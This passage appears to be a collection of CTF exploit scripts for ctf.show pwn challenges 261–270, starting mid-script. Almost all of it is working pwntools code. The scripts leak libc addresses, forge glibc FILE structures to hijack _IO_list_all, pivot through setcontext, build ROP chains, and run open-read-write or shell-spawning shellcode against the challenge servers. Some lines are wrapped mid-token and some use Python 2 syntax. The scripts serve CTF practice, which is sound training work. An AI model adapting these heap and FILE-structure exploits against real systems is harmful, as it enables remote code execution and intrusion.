    io.sendlineafter(b"addr> ", str(addr))
    io.sendafter(b"content> ", content)

def leave():
    io.sendlineafter(b"> ", b"3")
add(0x200)
io.recvuntil(b"[+] done ")
heap_addr = int(io.recvuntil(b"\n", drop=True), 16)
libc_base = printf_addr - libc.symbols["printf"]
libc.address = libc_base
fake_file_start = heap_addr + 0xe0 + 0xe8
hos = HouseOfSome(libc=libc, controled_addr=fake_file_start)
payload = hos.hoi_read_file_template(fake_file_start, 0x400, fake_file_start,
0)
```

```
io.sendlineafter("content> ", payload)
write(libc.symbols["_IO_list_all"], 8, p64(heap_addr))
leave()
hos.bomb(io, libc.address+0x8ea42)

io.interactive()
```

pwn 261

```
from pwn import*
context(arch='amd64',os='linux',log_level='debug')
io = remote("pwn.challenge.ctf.show",28245)
libc = ELF("./libc/libc.so.6")
def add(size,data):
        io.recvuntil('> ')
        io.sendline('1')
        io.recvuntil('> ')
        io.sendline(str(size))
        io.recvuntil('> ')
        io.sendline(data)
def draw(o):
        io.recvuntil('> ')
        io.sendline('3')
        io.recvuntil('> ')
        io.sendline(str(o))
        io.recvuntil('> ')
        io.sendline('1')
def dev(s):
        io.recvuntil('> ')
        io.sendline('2')
        io.recvuntil('> ')
        io.sendline(str(s))
def exit():
        io.recvuntil('> ')
        io.sendline('5')
def show():
        io.recvuntil('> ')
        io.sendline('4')

io.sendline('-')
io.recvuntil('invalid option ')
libc_base = int(io.recv(15),10)-0x1ff7a0
io_list = libc_base + libc.sym['_IO_list_all'] - 0x114514000
addr = 0x114514000
print hex(libc_base + libc.sym['_IO_list_all'])
```

```
read_io = 1
io_file_jumps = libc_base + libc.sym['_IO_file_jumps']
un = libc_base + 0x2008f0
stack = libc_base + libc.sym['environ']
mprotect = libc_base + libc.sym['mprotect']
pop_rdi = libc_base + 0x0000000000028715
pop_rsi = libc_base + 0x000000000002a671
pop_rdx_bx = libc_base + 0x0000000000093359
add(0x240,'a' * 0x160 + p64(0x8000 | 0x40 | 0x1000) + p64(0) * 3 + p64(addr) + p64(addr + 0x600) + p64(0) * 7 + p64(addr) + p64(0) * 3 + p64(un) + p64(0) * 9 + p64(io_file_jumps - 0x8))
dev(2)
draw(io_list)
print hex(io_file_jumps)
write_io = (p64(0x8000 | 0x800 | 0x1000) + p64(0) * 3 + p64(stack) + p64(stack + 0x80) + p64(0) * 7 + p64(addr + len(p64(0) * 28)) + p64(1) + p64(0) * 2 + p64(0) + p64(0) * 9 +  p64(io_file_jumps))
read_io = p64(0x8000 | 0x40 | 0x1000) + p64(0) * 3 + p64(addr) + p64(addr + 0x600) + p64(0) * 7 + p64(addr) + p64(0) * 3 + p64(un) + p64(0) * 9 + p64(io_file_jumps - 0x8)
write_io += read_io
io.sendline('5')
io.sendline(write_io)
io.recvuntil('> ')
stack = u64(io.recv(6).ljust(8,'\x00')) - 0x290
read_io1 = p64(0x8000 | 0x40 | 0x1000) + p64(0) * 3 + p64(stack) + p64(stack + 0x600) + p64(0) * 7 + p64(addr) + p64(0) * 3 + p64(un) + p64(0) * 9 + p64(io_file_jumps - 0x8)
shellcode = asm(shellcraft.amd64.linux.cat2("/ctfshow_flag",1,0x30))
print hex(stack)
io.sendline(read_io1)
io.sendline(p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(addr) + p64(pop_rdx_bx) + p64(0x100) + p64(0) + p64(libc_base + libc.sym['read']) + p64(pop_rdi) + p64(addr) + p64(pop_rsi) + p64(0x1000) + p64(pop_rdx_bx) + p64(7) + p64(0) + p64(mprotect) + p64(addr))
io.sendline(shellcode)

io.interactive()
```

pwn 262

```
from pwn import *
from SomeofHouse import HouseOfSome
context(arch='amd64',os='linux',log_level='debug')
io = remote("pwn.challenge.ctf.show",28115)
```

```python
def name(size, content):
    io.sendlineafter(b"> ", b"1")
    io.sendlineafter(b"size> ", str(size))
    io.sendafter(b"name> ", content)

def dev(idx):
    io.sendlineafter(b"> ", b"2")
    io.sendlineafter(b"dev> ", str(idx))

def draw(offset, length):
    io.sendlineafter(b"> ", b"3")
    io.sendlineafter(b"offset> ", str(offset))
    io.sendlineafter(b"length> ", str(length))

def leave():
    io.sendlineafter(b"> ", b"5")

io.sendlineafter(b"> ", b"-")
io.recvuntil(b"invalid option ")
leak = int(io.recvuntil(b".", drop=True))
log.success(f"leak : {leak:#x}")
libc_base = leak - 0x2205c0
log.success(f"libc_base : {libc_base:#x}")

libc = ELF("./libc.so.6", checksec=None)
libc.address = libc_base

name(0x2b0-1, flat({
    0x260: {
        0x18: 0,
        0x20: 1,
        0x30: 0,
    }
}, filler=b"\x00") + b"\n")
name(0x1f00-0x730-1, b"aa" + b"\n")
name(0x400-1, b"aa" + b"\n")
name(0x590-1, flat({
    0xe0-0x60: libc.symbols['_IO_file_jumps'] - 0x48
}, filler=b"\x00") + b"\n")
name(0x50-1, b"aa" + b"\n")
name(0x600-1, b"aa" + b"\n")
name(0x610-1, b"aa" + b"\n")
name(0x300-1, b"aa" + b"\n")
name(0x2f0-1, b"aa" + b"\n")
name(0x360-1, b"aa" + b"\n")
name(0x210-1, b"aa" + b"\n")

```

```python
environ = libc.symbols['__environ']

name(0xb0-1, flat({
    0x00: 0, # _flags
    0x20: 0, # _IO_write_base
    0x28: 0, # _IO_write_ptr

    0x38: environ+8, # _IO_buf_base
    0x40: environ+8+0x400, # _IO_buf_end

    0x70: 0, # _fileno
    0x68: environ+8, # _chain
    0x82: b"\x00", # _vtable_offset
    0x88: environ-0x10,
    0xa0: b"\n"
}, filler=b"\x00"))

name(0x20-1, flat({
    0xc0-0x20-0xa0: 2, # _mode
    0xd8-0x20-0xa0: libc.symbols['_IO_wfile_jumps'], # vtable
}, filler=b"\x00")[:-1] + b"\n")

dev(2)
draw(libc.symbols["_IO_list_all"] - 0x114514000, 1)
leave()

hos = HouseOfSome(libc, environ+8, environ-0x10)
stack = hos.bomb_raw(io, libc.symbols["_IO_flush_all"] + 481)
log.success(f"stack : {stack:#x}")

pop_rdx = 0x0000000000096272 + libc_base

rop = ROP(libc)
rop.base = stack
rop.raw(pop_rdx)
rop.raw(7)
rop.call('mprotect', [stack & (~0xfff), 0x1000])
rop.raw(stack + 0x40)
log.info(rop.dump())
rop_chain = rop.chain()

assert b"\n" not in rop_chain, "\\n in rop_chain"
shellcode = asm(
f"""
mov rax, {u64(b"./flag" + bytearray([0,0]))}
push rax
mov rdi, rsp
```

```
mov rsi, 0
mov rax, 2
syscall

mov rdi, rax
mov rsi, rsp
mov rdx, 0x40
mov rax, 0
syscall

mov rdi, 1
mov rsi, rsp
mov rdx, 0x40
mov rax, 1
syscall
""")
io.sendline(rop_chain + shellcode)

io.interactive()
```

pwn 263

```
from pwn import *
context.update(arch = 'amd64',os = 'linux',log_level = 'debug')
io = remote("pwn.challenge.ctf.show", 28136)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
io.sendlineafter("> ", '-')
io.recvuntil("invalid option ")
libc.address = int(io.recvuntil('.\n', drop=True), 10) - libc.sym["_IO_2_1_stdout_"]
_IO_list_all = libc.sym["_IO_list_all"]
_IO_file_jumps = libc.sym["_IO_file_jumps"]
__free_hook = libc.sym["__free_hook"]
io.sendlineafter("> ", '1')
io.sendlineafter("size> ", str(0x1048-1))
io.recvuntil("name> ")
fake_io_read = fit({
    0xf60: 0x8000 | 0x40 | 0x1000,  # _flags
    0xf60+0x20: 0x114514000,  # _IO_write_base
    0xf60+0x28: 0x114514000 + 0x500,  # _IO_write_ptr
    0xf60+0x68: 0x114514000,  # _chain
    0xf60+0x70: 0,  # _fileno
    0xf60+0xc0: 0,  # _modes
    0xf60+0xd8: _IO_file_jumps - 0x8,  # _vtables
```

```python
}, filler='\x00')
io.sendline(fake_io_read)

io.sendlineafter("> ", '2')
io.sendlineafter("> ", '2')
io.sendlineafter("> ", '3')
io.sendlineafter("offset> ", str(_IO_list_all - 0x114514000))
io.sendlineafter("length> ", '1')
io.sendlineafter("> ", '5')

pay = ""
fake_io_write = fit({
    0x00: 0x8000 | 0x800 | 0x1000,  # _flags
    0x20: libc.sym["environ"],  # _IO_write_base
    0x28: libc.sym["environ"] + 8,  # _IO_write_ptr
    0x68: 0x114514000 + 0x100,  # _chain
    0x70: 1,  # _fileno
    0xc0: 0,  # _modes
    0xd8: _IO_file_jumps,  # _vtables
}, filler='\x00')
pay = fake_io_write.ljust(0x100, '\x00')

fake_io_read = fit({
    0x00: 0x8000 | 0x40 | 0x1000,  # _flags
    0x20: 0x114514000 + 0x200,  # _IO_write_base
    0x28: 0x114514000 + 0x500,  # _IO_write_ptr
    0x68: 0x114514000 + 0x200,  # _chain
    0x70: 0,  # _fileno
    0xc0: 0,  # _modes
    0xd8: _IO_file_jumps - 0x8,  # _vtables
}, filler='\x00')
pay += fake_io_read.ljust(0x100, '\x00')

sleep(0.3)
io.send(pay)

stack = u64(io.recvn(8))
target = stack - 0x230
info("stack: {}".format(hex(stack)))

fake_io_read = fit({
    0x00: 0x8000 | 0x40 | 0x1000,  # _flags
    0x20: target,  # _IO_write_base
    0x28: target + 0x200,  # _IO_write_ptr
    0x68: 0,  # _chain
    0x70: 0,  # _fileno
    0xc0: 0,  # _modes
```

```
    0xd8: _IO_file_jumps - 0x8,  # _vtables
}, filler='\x00')
sleep(0.3)
io.send(fake_io_read)

pop_rdi_ret = libc.address + 0x0000000000028839
pop_rsi_ret = libc.address + 0x0000000000028b65
pop_rdx_ret = libc.address + 0x0000000000096272
pop_rax_ret = libc.address + 0x00000000000b8177
syscall_ret = libc.address + 0x000000000007d959

rop = flat([
    pop_rax_ret, 2,
    pop_rdi_ret, target + 0xa8,
    pop_rsi_ret, 0,
    syscall_ret,

    pop_rax_ret, 0,
    pop_rdi_ret, 4,
    pop_rsi_ret, target + 0x150,
    pop_rdx_ret, 0x30,
    syscall_ret,

    pop_rax_ret, 1,
    pop_rdi_ret, 1,
    syscall_ret,
    "ctfshow_flag\x00\x00\x00\x00"
])
sleep(0.3)
io.send(rop)

io.interactive()
```

pwn 264

```
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = remote("pwn.challenge.ctf.show",28147)
io.recvuntil(b"[+] printf: ")
printf_addr = int(io.recvuntil(b"\n", drop=True), 16)

def add(size):
    io.sendlineafter(b"> ", b"1")
    io.sendlineafter(b"size> ", str(size))

```

```python
def write(addr, size, content):
    io.sendlineafter(b"> ", b"2")
    io.sendlineafter(b"size> ", str(size))
    io.sendlineafter(b"addr> ", str(addr))
    io.sendafter(b"content> ", content)

def leave():
    io.sendlineafter(b"> ", b"3")

libc = ELF("./libc/libc.so.6", checksec=False)
libc_base = printf_addr - libc.symbols["printf"]
libc.address = libc_base

_IO_wfile_jumps_maybe_mmap = libc.address + 0x215f40
_IO_str_jumps = libc.address + 0x2166c0
_IO_default_xsputn = _IO_str_jumps + 0x38
_IO_default_xsgetn = _IO_str_jumps + 0x40

write(libc.symbols["_IO_2_1_stdout_"], 0xe0, flat({
    0x0: 0x8000, # disable lock
    0x38: libc.symbols["_IO_2_1_stdout_"], # _IO_buf_base
    0x40: libc.symbols["_IO_2_1_stdout_"] + 0x1c8, # _IO_buf_end
    0x70: 0, # _fileno
    0xa0: libc.symbols["_IO_2_1_stdout_"] + 0x100,
    0xc0: p32(0xffffffff), # _mode < 0
    0xd8: _IO_wfile_jumps_maybe_mmap - 0x18,
}, filler=b"\x00"))
io.send(flat({
    0x8: libc.symbols["_IO_2_1_stdout_"],

    0x38: libc.symbols["_IO_2_1_stdout_"] - 0x1c8 + 0xc8, # _IO_buf_base
    0x40: libc.symbols["_IO_2_1_stdout_"] + 0x1c8, # _IO_buf_end
    0xa0: libc.symbols["_IO_2_1_stdout_"] + 0xe0,
    0xc0: p32(0xffffffff),

    0xd8: _IO_default_xsputn - 0x90, # vtable
    0x28: libc.symbols["_IO_2_1_stdout_"] - 0x1c8, # _IO_write_ptr
    0x30: libc.symbols["_IO_2_1_stdout_"], # _IO_write_end

    0xe0: {
        0xe0: _IO_wfile_jumps_maybe_mmap
    }
}, filler=b"\x00"))

io.send(flat({
    0: libc.address + 0xebcf8, # retn
    0x1c8-0xc8: {
```

```
        0x38: libc.symbols["_IO_2_1_stdout_"] - 0x1c8 + 0xc8, # _IO_buf_base
        0x40: libc.symbols["_IO_2_1_stdout_"] + 0x1c8, # _IO_buf_end
        0xa0: libc.symbols["_IO_2_1_stdout_"] + 0xe0,
        0xc0: p32(0xffffffff),

        0xd8: _IO_default_xsgetn - 0x90, # vtable
        0x08: libc.symbols["_IO_2_1_stdout_"] - 0x1c8, # _IO_read_ptr
        0x10: libc.symbols["_IO_2_1_stdout_"] + (0x1c8 - 0xc8), # _IO_read_end

        0xe0: {
            0xe0: _IO_wfile_jumps_maybe_mmap
        }
}
}, filler=b"\x00"))
io.recv()

io.interactive()
```

pwn 265

```
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
io = remote('pwn.challenge.ctf.show',28177)
elf = ELF('./pwn')
def Find(buf):
    io.sendlineafter('5.Exit\n', '1')
    io.sendlineafter('So man, what are you finding?\n', str(buf))
def Locate(buf):
    io.sendlineafter('5.Exit\n', '2')
    io.sendlineafter('So, Where are you?\n', str(buf))
def get():
    io.sendlineafter('5.Exit\n', '3')
    io.sendlineafter('How many things do you want to get?\n', '100000')
def give(content):
    io.sendlineafter('5.Exit\n', '4')
    io.sendlineafter('What do you want to give me?\n', str(content))

io.sendlineafter('Do you want to help me build my room? Y/n?\n', 'Y')
Find('/proc/self/maps')
get()
io.recvuntil('\n')
elf_base = int(io.recvuntil('-', drop = True), 16)
print hex(elf_base)
open_ad = elf.sym['open'] + elf_base
read_ad = elf.sym['read'] + elf_base
```

```
prdi = elf_base + 0x0000000000001823
prsi_r15 = elf_base + 0x0000000000001821
puts_ad = elf.sym['puts'] + elf_base

while True:
    line = io.recvline()
    if 'heap' in line:
            line = io.recvline()
        mmap_ad = int(line.split('-')[0], 16)
        break

Find('/proc/self/mem')
Locate(mmap_ad)
for i in range(0, 24):
    get()
    io.recvuntil('You get something:\n')
    mem = io.recvuntil('1.Find', drop = True)
    print i
    if '/proc/self/mem' in mem:
        bef = mem.split('/proc/self/mem')[0]
        v8_ad = mmap_ad + i * 100000 + len(bef)
        ret_ad = v8_ad - 0x38
        break
    if i ==23:
        print 'Try Again!'
        exit(0)

payload = "/proc/self/mem".ljust(0x18, '\x00') + p64(ret_ad)
Find(payload)

offset = 0x8 * 15
flag_ad = ret_ad + offset

payload = p64(prdi) + p64(flag_ad) + p64(prsi_r15) + p64(0) + p64(0) +
p64(open_ad)
payload += p64(prdi) + p64(6) + p64(prsi_r15) + p64(flag_ad) + p64(0) +
p64(read_ad)
payload += p64(prdi) + p64(flag_ad) + p64(puts_ad)
payload += '/flag\x00'
give(payload)

io.interactive()
```

pwn 266

```python
from pwn import *
context.log_level = 'debug'
io = remote("pwn.challenge.ctf.show",28123)
io.send("\x06")

io.interactive()
```

pwn 267

```python
from pwn import *
context(arch='amd64',os = 'linux', log_level="debug")
io = remote("pwn.challenge.ctf.show", 28229)
elf = ELF('./pwn')
libc = ELF('./libc/libc-2.31.so')
def flush():
    io.sendlineafter("> ", "1")
def modify(off, val):
    io.sendlineafter("> ", "2")
    io.sendlineafter("offset: ", str(off))
    io.sendlineafter("value: ", str(val))
def change(off, val):
    for i in range(8):
        modify(off, val & 0xff)
        off += 1
        val = val >> 8
def ROL(content, key):
    tmp = bin(content)[2:].rjust(64, '0')
    return int(tmp[key:] + tmp[:key], 2)

modify(0xd8, 0xa8)
flush()

modify(0xd8, 0xa0)
modify(8 * 5, 0x40)
flush()

modify(8 * 14, 1)
modify(8 * 5, 0x78)
modify(8 * 4, 0x70)
modify(8 * 2, 0x70)
flush()

libc_base = u64(io.recvuntil("\x7f").ljust(8, "\x00")) + 0x7f60d3a44000 - 0x7f60d3c2cf60

```

```
__pointer_chk_guard_addr = libc_base + 0x1f35f0
change(8 * 5, __pointer_chk_guard_addr + 0x8)
change(8 * 4, __pointer_chk_guard_addr)
change(8 * 2, __pointer_chk_guard_addr)
flush()
__pointer_chk_guard = u64(io.recv(8))
_IO_cookie_jumps = libc_base + 0x1e8a20
system_addr = libc_base + libc.sym["system"]
func_value = ROL(system_addr ^ __pointer_chk_guard, 0x11)
change(0xf0, func_value)
change(0xd8, _IO_cookie_jumps + 0x18)
change(0xe0, libc_base + 0x1b45bd - 0x100000000)
flush()

io.interactive()
```

pwn 268

```
from pwn import*
context.log_level = 'debug'
io = remote("pwn.challenge.ctf.show",28207)
elf = ELF('./pwn')
libc = ELF('./libc/libc.so.6')

def menu(choice):
    io.recvuntil('Exit\n>')
    io.sendline(str(choice))
def add(index, size):
    menu(1)
    io.recvuntil('Index: ')
    io.sendline(str(index))
    io.recvuntil('Size: ')
    io.sendline(str(size))
def delete(index):
    menu(2)
    io.recvuntil('Index: ')
    io.sendline(str(index))
def edit(index, content):
    menu(3)
    io.recvuntil('Index: ')
    io.sendline(str(index))
    io.recvuntil('Content: ')
    io.send(content)
def show(index):
    menu(4)
```

```
    io.recvuntil('Index: ')
    io.sendline(str(index))

add(0, 0x608)
add(1, 0x508)
add(2, 0x5f8)
add(3, 0x508)
delete(0)
show(0)
libcbase = u64(io.recv(6).ljust(8, '\x00')) - 0x1f6cc0
_IO_list_all = libcbase + libc.symbols['_IO_list_all']
add(4, 0x800)
edit(0, b'A'*0x10)
show(0)
io.recv(0x10)
heapbase = u64(io.recv(6).ljust(8,'\x00')) - 0x290
edit(0, p64(0)*3+p64(_IO_list_all-0x20))
delete(2)
add(4, 0x800)
setcontext = libcbase + libc.symbols['setcontext']
fake_io_addr=heapbase+0xdb0
next_chain = 0
fake_IO_FILE=p64(0)*6
fake_IO_FILE +=p64(1)+p64(2)
fake_IO_FILE +=p64(fake_io_addr+0xb0)
fake_IO_FILE +=p64(setcontext+61)
fake_IO_FILE = fake_IO_FILE.ljust(0x58, '\x00')
fake_IO_FILE += p64(0)
fake_IO_FILE = fake_IO_FILE.ljust(0x78, '\x00')
fake_IO_FILE += p64(heapbase+0x1000)
fake_IO_FILE = fake_IO_FILE.ljust(0x90, '\x00')
fake_IO_FILE +=p64(fake_io_addr+0x30)
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, '\x00')
fake_IO_FILE += p64(1)
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, '\x00')
fake_IO_FILE += p64(libcbase+0x1f30a0+0x30)
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40)

ret = libcbase + 0x233d1
pop_rdi = libcbase + 0x23b65
pop_rsi = libcbase + 0x251be
pop_rdx_rbx = libcbase + 0x8bcd9
pop_rax = libcbase + 0x3fa43
close = libcbase + libc.symbols['close']
syscall = libcbase + libc.symbols['syscall']
read = libcbase + libc.symbols['read']
```

```
write = libcbase + libc.symbols['write']
orw_addr = heapbase + 0x2a0
payload = fake_IO_FILE + p64(heapbase+0x4a0)+p64(0)*6 + p64(orw_addr) +
p64(ret)
edit(2, payload)

flag_addr = heapbase + 0x4a0
orw=p64(pop_rdi)+p64(flag_addr)+p64(pop_rsi)+p64(0)+p64(pop_rax)+p64(2)+p64(sy
scall+27)
orw+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(flag_addr)+p64(pop_rdx_rbx)+p64(0x50
)+p64(0)+p64(read)
orw+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(flag_addr)+p64(pop_rdx_rbx)+p64(0x50
)+p64(0)+p64(write)
edit(0, orw.ljust(0x200, '\x00')+'./flag')
menu(5)

io.interactive()
```

pwn 269

```
from pwn import *
context.log_level = 'debug'
io = remote("pwn.challenge.ctf.show",28130)
elf = ELF("./pwn")
libc = ELF("./libc/libc.so.6")
libc_base = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc.address = libc_base
io.recv(2)
fake_fp = u64(io.recv(6).ljust(8,'\x00'))
fake_printf_buffer = fake_fp + 0x58

fp = IO_FILE_plus_struct()
fp.vtable = 0x1ced60 + libc_base
fp._IO_write_ptr = fake_printf_buffer+ 0x30 + 1
fp._IO_write_end = fake_printf_buffer + 0x30 + 1
fp._IO_write_base = 0x0
fp._IO_backup_base = 0xff
fp._IO_buf_base = libc.sym.system
fp._IO_save_base = fake_fp + 0xa0
fp._wide_data = 0x68732f6e69622f
fp = payload_replace(bytes(fp),{
    0x58:0,
    0x60:0,
    0x68:fake_printf_buffer + 0x30 + 1,
    0x70:0,
```

```
    0x78:11,
    0x80:fake_fp
})
payload = flat(
    {
    0x0:bytes(fp),
    0xe0:fake_printf_buffer,
    }
)
io.sendline(payload)

io.interactive()
```

pwn 270

```
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = remote("pwn.challenge.ctf.show",28252)
elf = ELF('./pwn')
libc = ELF('./libc/libc.so.6')
def add_heap(size, content):
    io.recvuntil('Your choice :')
    io.sendline('1')
    io.recvuntil('Note size :')
    io.send(str(size))
    io.recvuntil('Content :')
    io.send(content)
def show_heap(index):
    io.recvuntil('Your choice :')
    io.sendline('3')
    io.recvuntil('Index :')
    io.sendline(str(index))
def delete_heap(index):
    io.recvuntil('Your choice :')
    io.sendline('2')
    io.recvuntil('Index :')
    io.sendline(str(index))
def exit():
    io.recvuntil('Your choice :')
    io.sendline('5')

system_addr = 0x4006D0
print_note_content = 0x400870
print_note = 0x407700
puts_addr =0x4006C0
```

```
heap_list = 0x6116c0
system_got = 0x611030
stdout = 0x611680
printf_sym =elf.sym["printf"]
init = 0x409AC0
add_heap(0x500,"a"*0x10+"/bin/sh\x00")
add_heap(0x500,"b"*0x10)
delete_heap(0)
delete_heap(1)
add_heap(0x10,p64(print_note_content)+p64(stdout))
show_heap(0)
stdout_addr = u64(io.recvuntil("\n",drop = True).ljust(8,"\x00"))
libc_base_addr = stdout_addr - 0x21a780
setcontext_addr = libc_base_addr + libc.sym["setcontext"]
environ_addr = libc_base_addr +libc.sym["environ"]
gets_addr = libc_base_addr +libc.sym["gets"]
free_hook_addr = libc_base_addr +libc.sym["__free_hook"]
unsortbin_addr = libc_base_addr + 0x219ce0
mprotect_addr = libc_base_addr +libc.sym["mprotect"]

delete_heap(2)
add_heap(0x10,p64(print_note_content)+p64(heap_list))
show_heap(0)
heap_addr = u64(io.recvuntil("\n",drop = True).ljust(8,"\x00")) - 0x2a0

delete_heap(3)
add_heap(0x10,p64(gets_addr)+p64(heap_addr-0x200))
show_heap(0)
ucontext =''
ucontext += p64(setcontext_addr)+p64(0)*4
mprotect_len = 0x20000
rdi = heap_addr
rsi = mprotect_len
rbp = heap_addr + mprotect_len
rbx = 0
rdx = 7
rcx = 0
rax = 0
fake_io_addr = heap_addr + 0x2a0
rsp = fake_io_addr + 0xe8
rip = mprotect_addr
ucontext += p64(0)*8
ucontext += p64(rdi)
ucontext += p64(rsi)
ucontext += p64(rbp)
ucontext += p64(rbx)
ucontext += p64(rdx)
```

```
ucontext += p64(rcx)
ucontext += p64(rax)
ucontext += p64(rsp)
ucontext += p64(rip)
ucontext = ucontext.ljust(0xe0,'\x00')
ucontext += p64(heap_addr+0x6000)
payload = ucontext
shellcode = asm(shellcraft.sh())
payload += p64(fake_io_addr + len(payload) + 0x8)
payload += bytes(shellcode)
io.sendline(payload)
show_heap(0)

io.interactive()
```